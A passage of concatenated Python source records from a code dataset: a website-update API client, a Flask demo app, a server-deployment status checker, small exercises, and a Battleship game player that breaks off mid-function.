subscription', required=True)\n parser.add_argument('-n', '-name', type=str, help='Gets or sets the website name', required=True)\n parser.add_argument('-ce', '-techmail', type=str, help='Gets or sets the technical contact email')\n\n args = parser.parse_args()\n\n json_object = {\n 'DefaultProtocol': args.p,\n 'AgentMode': args.am,\n 'RootUrl': args.ru,\n 'Groups': args.wg,\n 'LicenseType': args.lt,\n 'Name': args.n,\n 'TechnicalContactEmail': args.ce\n }\n\n response = requests.post(endpoint_url, json=json_object, auth=AUTH)\n\n print(\"Response: %s - %s\" % (response.status_code, response.reason))\n\n if (response.status_code == 200):\n print(\"The website has been updated.\")\n\n else:\n print(response.text)\n\n\ndef main():\n\n websites_update()\n\nif __name__ == '__main__':\n main()","sub_path":"websites_update.py","file_name":"websites_update.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"417544316","text":"from flask import Flask, render_template\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n posts = [\n {\n 'title': 'Death or Survive',\n 'content': 'Sword Art Online',\n 'author': 'Kayaba Akihiko',\n 'author_sex': 1\n },\n {\n 'title': 'Ecchi 18+',\n 'content': 'To love RU',\n 'author': 'Hasemi Saki to Yabuki Kentaro',\n 'author_sex': 2\n }\n ]\n return render_template('index.html', posts=posts)\n\n@app.route('/hello')\ndef say_hello():\n return 'Starburst Stream'\n\n@app.route('/say_hi//')\ndef hi(name,age):\n return \"Hi {}, you're {} years old\".format(name,age)\n\n@app.route('/sum//')\ndef sum(num1,num2):\n return str(num1 + num2)\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n ","sub_path":"ProjectC4E/C4E-20/WebModule/Web01/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"247109992","text":"class Compare:\n\n\tdef __init__(self):\n\t\t\"\"\"Construct a container to compare numbers.\"\"\"\n\t\tself.nums = []\n\n\tdef add(self,num):\n\t\t\"\"\"Add a number to object\"\"\"\n\t\tnum = int(num)\n\t\tif num not in self.nums:\n\t\t\tself.nums.append(num)\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef largest(self):\n\t\t\"\"\"Calculate the largest number in the object.\"\"\"\n\t\tnum_length = len(self.nums)\n\t\tif num_length > 0:\n\t\t\tlargest = self.nums[0]\n\t\t\tfor i in range(num_length):\n\t\t\t\tif self.nums[i] > largest:\n\t\t\t\t\tlargest = self.nums[i]\n\t\t\treturn largest\n\t\telse:\n\t\t\treturn -1","sub_path":"exercise22Py/exercise22/exercise22.py","file_name":"exercise22.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"521643719","text":"\"\"\"\n\n REV SOFTWARE CONFIDENTIAL\n\n [2013] - [2016] Rev Software, Inc.\n All Rights Reserved.\n\n NOTICE: All information contained herein is, and remains\n the property of Rev Software, Inc. and its suppliers,\n if any. The intellectual and technical concepts contained\n herein are proprietary to Rev Software, Inc.\n and its suppliers and may be covered by U.S. and Foreign Patents,\n patents in process, and are protected by trade secret or copyright law.\n Dissemination of this information or reproduction of this material\n is strictly forbidden unless prior written permission is obtained\n from Rev Software, Inc.\n\n\"\"\"\nimport argparse\nimport logging\nimport logging.config\n\nimport sys\n\nimport re\n\nimport settings\nfrom server_deployment.abstract_sequence import SequenceAbstract\nfrom server_deployment.cacti import Cacti\n\nfrom server_deployment.cds_api import CDSAPI\n\nfrom server_deployment.server_state import ServerState\nfrom server_deployment.utilites import DeploymentError\n\n\nlogging.config.dictConfig(settings.LOGGING)\nlogger = logging.getLogger('ServerDeploy')\nlogger.setLevel(logging.DEBUG)\n\n\nclass CheckingSequence(SequenceAbstract):\n logger_schema = {\n \"type\": \"object\",\n \"properties\": {\n \"time\": {\"type\": \"string\"},\n \"start_time\": {\"type\": \"string\"},\n \"initial_data\": {\n \"type\": \"object\",\n \"properties\": {\n \"hostname\": {\"type\": \"string\"},\n \"ip\": {\n \"type\": \"string\",\n \"pattern\": \"(([0-9]|[1-9][0-9]|1[0-9]\"\n \"{2}|2[0-4][0-9]|25[0-5])\\.)\"\n \"{3}([0-9]|[1-9][0-9]|1[0-9]\"\n \"{2}|2[0-4][0-9]|25[0-5])\"\n },\n \"login\": {\"type\": \"string\"},\n \"password\": {\"type\": \"string\"},\n\n }\n },\n \"init_step\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n }\n },\n\n \"check_server_consistency\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"check_ram_size\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"check_free_space\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"check_hw_architecture\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"check_os_version\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"check_ping_8888\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_hostname\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"check_hostname\": {\n \"type\": \"string\", \"pattern\": \"yes|no|fail\"\n },\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_ns1_a_record\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_infradb\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_cds\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_nagios\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_puppet\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_ns1_balancing_rule\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_pssh_file\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_fw_rules\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n \"check_cacti\": {\n \"type\": \"object\",\n \"properties\": {\n \"runned\": {\"type\": \"string\", \"pattern\": \"yes|no|fail\"},\n \"log\": {\"type\": \"string\"},\n \"error_log\": {\"type\": \"string\"}\n },\n },\n },\n \"required\": [\n \"time\",\n \"start_time\",\n \"initial_data\",\n \"init_step\",\n \"check_server_consistency\",\n \"check_hostname\",\n \"check_ns1_a_record\",\n \"check_infradb\",\n \"check_cds\",\n \"check_nagios\",\n \"check_puppet\",\n \"check_ns1_balancing_rule\",\n \"check_pssh_file\",\n \"check_fw_rules\",\n \"check_cacti\",\n ]\n }\n logger_steps = [\n \"init_step\",\n \"check_server_consistency\",\n \"check_hostname\",\n \"check_ns1_a_record\",\n \"check_infradb\",\n \"check_cds\",\n \"check_nagios\",\n \"check_puppet\",\n \"check_ns1_balancing_rule\",\n \"check_pssh_file\",\n \"check_fw_rules\",\n \"check_cacti\",\n ]\n current_server_state = {\n \"time\": None,\n \"init_step\": {\n \"runned\": \"no\",\n },\n \"check_server_consistency\": {\n \"runned\": \"no\",\n },\n \"check_hostname\": {\n \"runned\": \"no\",\n },\n \"check_ns1_a_record\": {\n \"runned\": \"no\",\n },\n \"check_infradb\": {\n \"runned\": \"no\",\n },\n \"check_cds\": {\n \"runned\": \"no\",\n },\n \"check_nagios\": {\n \"runned\": \"no\",\n },\n \"check_puppet\": {\n \"runned\": \"no\",\n },\n \"check_ns1_balancing_rule\": {\n \"runned\": \"no\",\n },\n \"check_pssh_file\": {\n \"runned\": \"no\",\n },\n \"check_fw_rules\": {\n \"runned\": \"no\",\n },\n \"check_cacti\": {\n \"runned\": \"no\",\n },\n }\n\n check_status = {\n \"check_server_consistency\": 'Not checked',\n \"check_hostname\": 'Not checked',\n \"check_ns1_a_record\": \"Not checked\",\n \"check_infradb\": \"Not checked\",\n \"check_cds\": \"Not checked\",\n \"check_nagios\": \"Not checked\",\n \"check_puppet\": \"Not checked\",\n \"check_ns1_balancing_rule\": \"Not checked\",\n \"check_pssh_file\": \"Not checked\",\n \"check_fw_rules\": \"Not checked\",\n \"check_cacti\": \"Not checked\",\n }\n\n def __init__(self, args):\n super(CheckingSequence, self).__init__(args)\n\n self.steps = {\n \"check_server_consistency\": self.check_server_consistency,\n \"check_hostname\": self.check_hostname,\n \"check_ns1_a_record\": self.check_ns1_a_record,\n \"check_infradb\": self.check_infradb,\n \"check_cds\": self.check_cds,\n \"check_nagios\": self.check_nagios,\n \"check_puppet\": self.check_puppet,\n \"check_ns1_balancing_rule\": self.check_ns1_balancing_rule,\n \"check_pssh_file\": self.check_pssh_file,\n \"check_fw_rules\": self.check_fw_rules,\n \"check_cacti\": self.check_cacti,\n\n }\n self.step_sequence = [\n \"check_server_consistency\",\n \"check_hostname\",\n \"check_ns1_a_record\",\n \"check_infradb\",\n \"check_cds\",\n \"check_nagios\",\n \"check_puppet\",\n \"check_ns1_balancing_rule\",\n \"check_pssh_file\",\n \"check_fw_rules\",\n \"check_cacti\",\n ]\n\n self.record_type = args.record_type\n # self.zone_name = \"attested.club\"\n self.hosting_name = args.hosting\n self.server = ServerState(\n self.host_name, args.login, args.password,\n self.logger, ipv4=self.ip,\n first_step=self.first_step,\n )\n self.cacti = Cacti(self.host_name, self.logger, self.short_name)\n\n def check_server_consistency(self):\n self.logger.init_new_step(\"check_server_consistency\")\n checking = True\n checking_dict = {\n \"check_ram_size\": self.server.check_ram_size,\n \"check_free_space\": self.server.check_free_space,\n \"check_hw_architecture\": self.server.check_hw_architecture,\n \"check_os_version\": self.server.check_os_version,\n \"check_ping_8888\": self.server.check_ping_8888,\n }\n for check_name, check_func in checking_dict.iteritems():\n try:\n check_func()\n self.logger.log({check_name: \"yes\"})\n except DeploymentError as e:\n checking = False\n self.logger.log({check_name: \"fail\"})\n logger.info(e.message)\n if not checking:\n self.check_status[\"check_server_consistency\"] = \"Not OK\"\n else:\n self.check_status[\"check_server_consistency\"] = \"OK\"\n\n def check_hostname(self):\n self.logger.init_new_step(\"check_hostname\")\n hostname = self.server.check_hostname()\n if hostname.rstrip() != self.host_name:\n self.logger.log({\"check_hostname\": \"fail\"})\n self.check_status[\"check_hostname\"] = \"Not OK\"\n return\n self.logger.log({\"check_hostname\": \"yes\"})\n self.check_status[\"check_hostname\"] = \"OK\"\n\n def check_ns1_a_record(self):\n self.logger.init_new_step(\"check_ns1_a_record\")\n record = self.ns1.get_a_record(\n self.zone, self.short_name, self.record_type\n )\n if record:\n self.check_status[\"check_ns1_a_record\"] = \"OK\"\n return\n self.check_status[\"check_ns1_a_record\"] = \"Not OK\"\n\n def check_infradb(self):\n self.logger.init_new_step(\"check_infradb\")\n server = self.infradb.get_server(self.host_name)\n if server:\n self.check_status[\"check_infradb\"] = \"OK\"\n return\n self.check_status[\"check_infradb\"] = \"Not OK\"\n\n def check_cds(self):\n self.logger.init_new_step(\"check_cds\")\n cds = CDSAPI(self.server_group, self.host_name, self.logger)\n server = cds.check_server_exist()\n if server:\n self.check_status[\"check_cds\"] = \"OK\"\n return\n self.check_status[\"check_cds\"] = \"Not OK\"\n\n def check_ns1_balancing_rule(self):\n self.logger.init_new_step(\"check_ns1_balancing_rule\")\n record = self.ns1.get_a_record(\n self.balancing_rule_zone, self.dns_balancing_name, self.record_type\n )\n if not record:\n logger.info(' A dns balance record not found')\n self.check_status[\"check_ns1_balancing_rule\"] = \"Not OK\"\n return\n\n answer_exist = False\n for answer in record.data['answers']:\n if answer['answer'] == [self.ip]:\n answer_exist = True\n if answer_exist:\n self.check_status[\"check_ns1_balancing_rule\"] = \"OK\"\n return\n self.check_status[\"check_ns1_balancing_rule\"] = \"Not OK\"\n\n def check_pssh_file(self):\n self.logger.init_new_step(\"check_pssh_file\")\n client = self.connect_to_serv(\n settings.PSSH_SERVER,\n settings.PSSH_SERVER_LOGIN,\n settings.PSSH_SERVER_PASSWORD\n )\n logger.info(\"Check if server already added\")\n (stdin, stdout, stderr) = client.exec_command('grep \"%s\" %s' % (\n self.short_name, settings.PSSH_FILE_PATH\n ))\n founded_lines = []\n lines = stdout.readlines()\n for line in lines:\n founded_lines.append(line)\n if founded_lines:\n self.check_status[\"check_pssh_file\"] = \"OK\"\n return\n self.check_status[\"check_pssh_file\"] = \"Not OK\"\n\n def check_nagios(self):\n self.logger.init_new_step(\"check_nagios\")\n logger.info(\"Check if server added to nagios\")\n try:\n host = self.nagios.get_host()\n except Exception:\n logger.info(\"Host not founded in Nagios\")\n self.check_status[\"check_nagios\"] = \"Not OK\"\n return\n if not host:\n logger.info(\"Host not founded in Nagios\")\n self.check_status[\"check_nagios\"] = \"Not OK\"\n return\n logger.info(\"Checking nagios services\")\n try:\n self.nagios.check_services_status()\n except DeploymentError as e:\n logger.info(e.message)\n self.check_status[\"check_nagios\"] = \"Not OK\"\n return\n self.check_status[\"check_nagios\"] = \"OK\"\n\n def check_puppet(self):\n self.logger.init_new_step(\"check_puppet\")\n try:\n cds = CDSAPI(self.server_group, self.host_name, self.logger)\n cds.check_installed_packages(self.server)\n except DeploymentError:\n self.check_status[\"check_puppet\"] = \"Not OK\"\n return\n self.check_status[\"check_puppet\"] = \"OK\"\n\n def check_fw_rules(self):\n self.logger.init_new_step(\"check_fw_rules\")\n client = self.connect_to_serv(\n settings.INSTALL_SERVER_HOST,\n settings.INSTALL_SERVER_LOGIN,\n settings.INSTALL_SERVER_PASSWORD\n )\n logger.info('sudo ufw status|grep %s' % self.ip)\n stdin_fw, stdout_fw, stderr_fw = client.exec_command(\n 'sudo ufw status|grep %s' % self.ip\n )\n lines = stdout_fw.readlines()\n ip_founded = False\n for line in lines:\n m = re.search('ALLOW\\s*(.+?)$', line)\n if m and m.group(1) == self.ip:\n ip_founded = True\n logger.info(line)\n if not ip_founded:\n logger.info(\"IP not founded in Fire wall rules\")\n self.check_status[\"check_fw_rules\"] = \"Not OK\"\n return\n\n self.check_status[\"check_fw_rules\"] = \"OK\"\n\n def check_cacti(self):\n self.logger.init_new_step('check_cacti')\n host_id = self.cacti.find_device(self.short_name)\n if not host_id:\n logger.info(\"Host not found in cacti\")\n self.check_status[\"check_cacti\"] = \"Not OK\"\n return\n logger.info(\"Device was founded with id %s\" % host_id)\n\n for graph_name in settings.CACTI_CG_GRAPHS_LIST:\n graph_id = self.cacti.find_graph(host_id, graph_name)\n if not graph_id:\n logger.info(\"Graph %s was not found\" % graph_name)\n self.check_status[\"check_cacti\"] = \"Not OK\"\n return\n\n self.check_status[\"check_cacti\"] = \"OK\"\n\n\ndef main():\n\n parser = argparse.ArgumentParser(\n description=\"Automatic deployment of server.\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter\n )\n parser.add_argument(\n \"-n\", \"--host_name\", help=\"Host name of server\",\n required=True\n )\n parser.add_argument(\n \"-z\", \"--zone_name\", help=\"Name of zone on NS1.\",\n default=settings.NS1_DNS_ZONE_DEFAULT\n )\n parser.add_argument(\n \"-i\", \"--IP\", help=\"IP of server.\", required=True\n )\n parser.add_argument(\n \"-r\", \"--record_type\", help=\"Type of record at NS1.\",\n default=\"A\"\n )\n parser.add_argument(\n \"-l\", \"--login\", help=\"Login of the server.\",\n default=\"robot\"\n )\n parser.add_argument(\n \"-p\", \"--password\", help=\"Password of the server.\",\n default=''\n )\n parser.add_argument(\n \"-c\", \"--cert\", help=\"Certificate of the server.\"\n )\n parser.add_argument(\n \"--hosting\", help=\"Name of server hosting provider.\",\n default=\"HE\"\n )\n parser.add_argument(\n \"--server_group\", help=\"CDS group.\",\n default=settings.SERVER_GROUP\n )\n parser.add_argument(\n \"--environment\", help=\"Environment of server.\",\n default='prod'\n )\n parser.add_argument(\n \"--dns_balancing_name\", help=\"DNS global load balancing name.\"\n )\n\n parser.add_argument(\n \"--first_step\", help=\"First step which sequence must start.\",\n default=\"check_server_consistency\",\n choices=[\n \"check_server_consistency\",\n \"check_hostname\",\n \"check_ns1_a_record\",\n \"check_infradb\",\n \"check_cds\",\n \"check_nagios\",\n \"check_puppet\",\n \"check_ns1_balancing_rule\",\n \"check_pssh_file\",\n \"check_fw_rules\",\n \"check_cacti\"\n ]\n )\n parser.add_argument(\n \"--number_of_steps_to_execute\",\n help=\"Number of steps need to be execute.\",\n type=int,\n )\n\n parser.add_argument(\n \"--disable_infradb_ssl\", help=\"Disable ssl check for infradb.\",\n type=bool\n )\n args = parser.parse_args()\n\n try:\n sequence = CheckingSequence(args)\n sequence.run_sequence()\n logger.info(sequence.check_status)\n\n except DeploymentError as e:\n logger.critical(e.message)\n logger.error(e, exc_info=True)\n sys.exit(-1)\n except Exception as e:\n logger.error(e, exc_info=True)\n sys.exit(-1)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"code_dir/check_server_status.py","file_name":"check_server_status.py","file_ext":"py","file_size_in_byte":19330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"651082369","text":"def hash_tuple(t):\n \"\"\"Return the hash of a given tuple.\n\n >>> hash_tuple((1, 2)) == 3713081631934410656\n True\n \"\"\"\n return hash(t)\n\nif __name__ == \"__main__\":\n n = int(input())\n t = tuple([int(token) for token in input().split(\" \")])\n print(hash_tuple(t))\n","sub_path":"python/data_types/tuples.py","file_name":"tuples.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"112726477","text":"\n\nfrom xai.brain.wordbase.verbs._encrypt import _ENCRYPT\n\n#calss header\nclass _ENCRYPTS(_ENCRYPT, ):\n\tdef __init__(self,): \n\t\t_ENCRYPT.__init__(self)\n\t\tself.name = \"ENCRYPTS\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"encrypt\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_encrypts.py","file_name":"_encrypts.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"192804151","text":"class Player:\n \"\"\"\n Syndicate 10 Submission\n Contains three methods\n 1. setup_ships: takes no parameters and returns a list of lists showing the start position\n of showing the start positions of your ships\n Block of row i and column j, ship label 1-5 & 0 means no ship\n\n 2. take_turn: returns\n -- a list of (row, column) tuples describing your shots\n -- Note: should be equal to the number of ships present\n -- or a tuple that has a ship number as the first element and the direction\n -- of its moving value\n -- 0: up, 1: right, 2: down, 3: left\n\n 3. get_name: returns a string that is the name of the Player\n\n \"\"\"\n import random\n from collections import defaultdict\n\n def __init__(self):\n '''\n Following variables are initiated when a class is instantiated\n self.player_battleground: representation of the player's map\n self.ships_dd : default dictionary that counts the unique numbers in the map\n self.status : a list of tuples that contains each ship number with its current status\n eg: [(5, 0.20)] is ship 5 with 20% remainin\n self.enemyport : representation of the enemy's map. will record player's attact point\n self.enemy_probmap : probability of enemy ship presence in each grid point \n self.counter : a predefined counter that keeps track of the turns\n self.hits_by_player : a running total number of shots fired by the player\n self.positions : store indexes for ships\n '''\n self.player_battleground = [[0 for i in range(10)] for j in range(10)]\n self.ships_dd = Player.defaultdict(int)\n self.status = []\n self.enemyport = [[0 for i in range(10)] for j in range(10)]\n self.enemy_probmap = [[15 for i in range(10)] for j in range(10)]\n self.counter = 0\n self.hits_by_player = 0\n self.positions = None\n\n def setup_ships(self):\n '''\n Mandatory function that optimizes the locations on the Players ships\n placed on the 10x10 grid\n It initializes a position for the ships in different areas of the map\n Ships are weighed linearly by their size\n Ships 1 and 2 are placed together, Ships 3, 4 and 5 are placed in the\n other regions\n Once the threshold criteria is met, it assigns the ships in those regions\n :return: a 10x10 grid with the location of our ships\n '''\n self.init_position()\n while self.is_good_position() == False:\n self.init_position()\n self.is_good_position()\n\n # update postion index to myport\n points = self.positions\n points_len = len(points)\n i = 0\n while i < points_len:\n for item in points[i]:\n row = item[0]\n col = item[1]\n self.player_battleground[row][col] = i + 1\n i += 1\n return self.player_battleground\n\n def take_turn(self, history):\n '''\n The take turn function dictates the overall strategy of the player\n It keeps count of the number of turns the player has taken by updating a counter\n every time the function is called\n 1. First it updates the players grid with the list on incoming shots\n 2. Based on that it calculates the status of the ships hit and the number of ships that\n are currently present\n 3. It then updates the opponents grid by marking the places that the player has shot\n 4. Based on this history, the number of shots, the placement of them and the number of hits\n it dynamically creates a probability map to determine the best positions to shoot next\n 5. The Player then shoots according to the number of ships it has present\n 6. The Player does not move as it tries to maximize its chances of winning by trying to shoot\n as many number of times it can\n\n :param history: records the game\n list that contains one entry per turn\n dict with 3 keys\n - 'shots' : list of shots made in the turn\n - 'hits' : an integer number of hits that your shots made\n - 'incoming' : opponents list of shots, [] if moved\n\n :return: a list of tuple/s named \"shots_list\" describing the shots or changed location\n depending on the strategy\n '''\n\n last_shot = []\n # updating the enemy port\n previous_shots = []\n if self.counter > 0:\n last_shot = history[-1]['incoming']\n previous_shots = history[-1]['shots']\n\n self.player_battleground = self.update_opponent_shots(self.player_battleground, last_shot)\n\n # counting the number of ships left\n self.ships_dd = Player.defaultdict(int) # reset count every time\n\n # returns the dict with the number of ships and hits\n for row in self.player_battleground:\n for point in row:\n self.ships_dd[point] += point\n\n self.status = self.ship_status(self.ships_dd)\n\n # Count the number of ships remaining\n number_of_ships = len(self.status)\n\n # Updating the opponent map and probability matrix\n self.update_enemy_map(previous_shots)\n self.update_enemy_probmap(history)\n\n # Choose to shoot based on the current status in the game\n shots_list = self.shot(number_of_ships)\n\n # update the number of turns\n self.counter += 1\n\n return shots_list\n\n def get_name(self):\n '''\n :return: string - name of the Player\n '''\n return \"Syndicate_10\"\n\n # function to update the player battleground with the incoming shots\n def update_opponent_shots(self, grid, incoming_shots):\n '''\n Keeps track of the shots that the opponent has made on the players grid\n If the opponent has shot, then it updates the corresponding locations in\n the grid by 9\n :param grid: the players grid with the ships placed and the current status\n :param incoming_shots: the shots that the opponent has made, gathered from history\n :return: the updated player grid marked with '9' for the shots placed\n '''\n if incoming_shots:\n for x, y in incoming_shots:\n grid[x][y] = 9\n return grid\n\n # function that counts the number of ships and her ports hit\n def ship_status(self, ships_dd):\n '''\n :param ships_dd: a default dictionary that counts the frequencies of the number on the map\n :return: a list of tuples with the ship numbers and its status\n '''\n status = []\n for ship in ships_dd.keys():\n # as long as the default dictionary has a key, the ship is breathing\n if ship in [1, 2, 3, 4, 5]:\n status.append((ship, ships_dd[ship] / (ship ** 2)))\n return status\n\n def update_enemy_probmap(self, history):\n '''\n \"update_enemy_probmap Function\"\n - calculate probability of enemy ship presence in each grid point\n - The input for the functions is \"history\"\n '''\n # reset enemy_probmap with -1 for all grid\n self.enemy_probmap = [[-1 for i in range(10)] for j in range(10)]\n\n total_hit = 0\n total_shot = 0\n for turn in history:\n # record the success rate of each shot in enemy_probmap\n if len(turn['shots']) != 0:\n prob = turn['hits'] / len(turn['shots']) * 100\n for i in turn['shots']:\n self.enemy_probmap[i[0]][i[1]] = prob\n total_hit += turn['hits']\n total_shot += len(turn['shots'])\n\n # update the probablity of spots that have not been shot.\n prob = (15 - total_hit) / (100 - total_shot) * 100 + 0.5\n for row in range(10):\n for column in range(10):\n if self.enemy_probmap[row][column] == -1:\n self.enemy_probmap[row][column] = prob\n\n # multiply probability of each grid by the weight which depends on gird location\n # the grids in the center of the map have higher weights\n for row in range(10):\n for column in range(10):\n if (row, column) in [(0, 0), (9, 9), (9, 0), (0, 9)]:\n weight = 15 / 15\n elif (row, column) in [(1, 0), (0, 1), (8, 0), (1, 9), (0, 8), (9, 1), (8, 9), (9, 8)]:\n weight = 16.5 / 15\n elif (row, column) in [(1, 1), (1, 8), (8, 1), (8, 8)]:\n weight = 18 / 15\n elif (row in [0, 9] and 2 <= column <= 7) or (column in [0, 9] and 2 <= row <= 7):\n weight = 18 / 15\n elif (row in [1, 8] and 2 <= column <= 7) or (column in [1, 8] and 2 <= row <= 7):\n weight = 19.5 / 15\n else:\n weight = 21 / 15\n self.enemy_probmap[row][column] = weight * self.enemy_probmap[row][column]\n\n def update_enemy_map(self, previous_shots):\n '''\n \"update_enemy_map Function\"\n - Mark '9' on the enemy map, recording the points we made shot\n - The input for the functions is \"coordinate of previous_shots \"\n '''\n # check if the player shot or moved in the previous shot\n if type(previous_shots) == type([]):\n if previous_shots:\n for x, y in previous_shots:\n self.enemyport[x][y] = 9\n # add to the total number of hits\n self.hits_by_player += 1\n\n def shot(self, myship_number):\n '''\n \"shot Function\"\n - Generate a list of shots (coordinates of attack points)\n - The input for the functions is \"number of ship we have\"\n Within the target area, store the \"coordinates of spots that have not been shot\"\n into the list called \"targets\" and shuffle them to add randomness'''\n targets = []\n for row in range(10):\n for column in range(10):\n if self.enemyport[row][column] == 0:\n targets.append((row, column))\n Player.random.shuffle(targets)\n\n '''\n Evaluate likelihood score for points in the \"target\" list\n In this code, likelihood score (LHS) defined as\n LHS = 2*P(point) + 0.9*P(one_neighbour) + 0.8*P(2 step_neighbours)\n where P = expected probability of a shp\n Where neighbours are not available, P(one_neighbour of other side) will be used\n Note that LHS is not probability but probability utility.\n Store LHS and target point i and sort at the end'''\n valid_grid = range(10)\n scores = []\n for i in range(len(targets)): # i represent target number\n # Calculate LHS of target point i\n score = 0\n for step in range(-2, 3):\n # row weighted probability summation\n if targets[i][0] + step in valid_grid:\n row_prob = self.enemy_probmap[targets[i][0] + step][targets[i][1]]\n else:\n row_prob = self.enemy_probmap[targets[i][0] - step][targets[i][1]]\n score += (1 - 0.1 * abs(step)) * row_prob\n # column weighted probability summation\n if targets[i][1] + step in valid_grid:\n column_prob = self.enemy_probmap[targets[i][0]][targets[i][1] + step]\n else:\n column_prob = self.enemy_probmap[targets[i][0]][targets[i][1] - step]\n score += (1 - 0.1 * abs(step)) * column_prob\n scores.append((score, i))\n scores.sort(reverse=True)\n\n # Return the top LSH score as list of tuple\n # The number of returning points is the same as the number of our ship\n shot_list = []\n for j in range(myship_number):\n if j <= len(targets) - 1:\n shot_row = targets[scores[j][1]][0]\n shot_col = targets[scores[j][1]][1]\n shot_list.append((shot_row, shot_col))\n return shot_list\n\n def is_good_position(self):\n \"\"\"\n : function check if initial positions are good\n is good placing strategy if ships dont touch\n\n :return: boolean, true if is a good ship placing strategy,\n false other wise.\n \"\"\"\n points = self.positions\n signal = True\n points_len = len(points)\n for ship in points:\n position = points.index(ship)\n length = len(ship)\n # get two end points for the ship\n end = None\n if length == 1:\n end = ship\n else:\n end = [ship[0], ship[length - 1]]\n\n # check if end points touch any other ship points:\n i = position + 1\n while i < points_len:\n another_ship = points[i]\n for stuff in another_ship:\n for item in end:\n if (stuff[0] == item[0]) and (abs(stuff[1] - item[1])) == 2:\n return False\n elif (stuff[1] == item[1]) and (abs(stuff[0] - item[0])) == 2:\n return False\n else:\n signal = True\n\n i += 1\n return signal\n\n def init_position(self): # initiate potential positions to place ships\n \"\"\"\n function to generate positions to place ships\n strategy is divide the playground to four 5*5 areas\n so every area will contain at most 2 ships\n It then updates the positions\n \"\"\"\n\n # the direction ships point : 0 - down; 1- right\n row_range = {1: (0, 5), 2: (0, 5), 3: (5, 10), 4: (5, 10)} # store row index range for different areas\n col_range = {1: (0, 5), 2: (5, 10), 3: (0, 5), 4: (5, 10)} # store col index range for different areas\n\n # always place 1 and 2 together so the distribution is even\n area_order = Player.random.sample(range(1, 5), 4) # areas are labeled 1,2,3,4, this one generate an order\n\n # For ship 1 and 2 in area i\n area = area_order[0]\n row_edge = row_range[area]\n col_edge = col_range[area]\n row_1 = Player.random.sample(range(row_edge[0], row_edge[1]), 1)[0]\n col_1 = Player.random.sample(range(col_edge[0], col_edge[1]), 1)[0]\n points = [[(row_1, col_1)]] # get the position for ship 1\n\n # get the position for ship 2\n while True:\n # decide the ship placment direction.\n direction = Player.random.randint(0, 1) \n if direction == 0: # down\n row_2 = Player.random.sample(range(row_edge[0], row_edge[1] - 1), 1)[0]\n col_2 = Player.random.sample(range(col_edge[0], col_edge[1]), 1)[0]\n points_2 = [(row_2, col_2), (row_2 + 1, col_2)]\n\n else: # right\n row_2 = Player.random.sample(range(row_edge[0], row_edge[1]), 1)[0]\n col_2 = Player.random.sample(range(col_edge[0], col_edge[1] - 1), 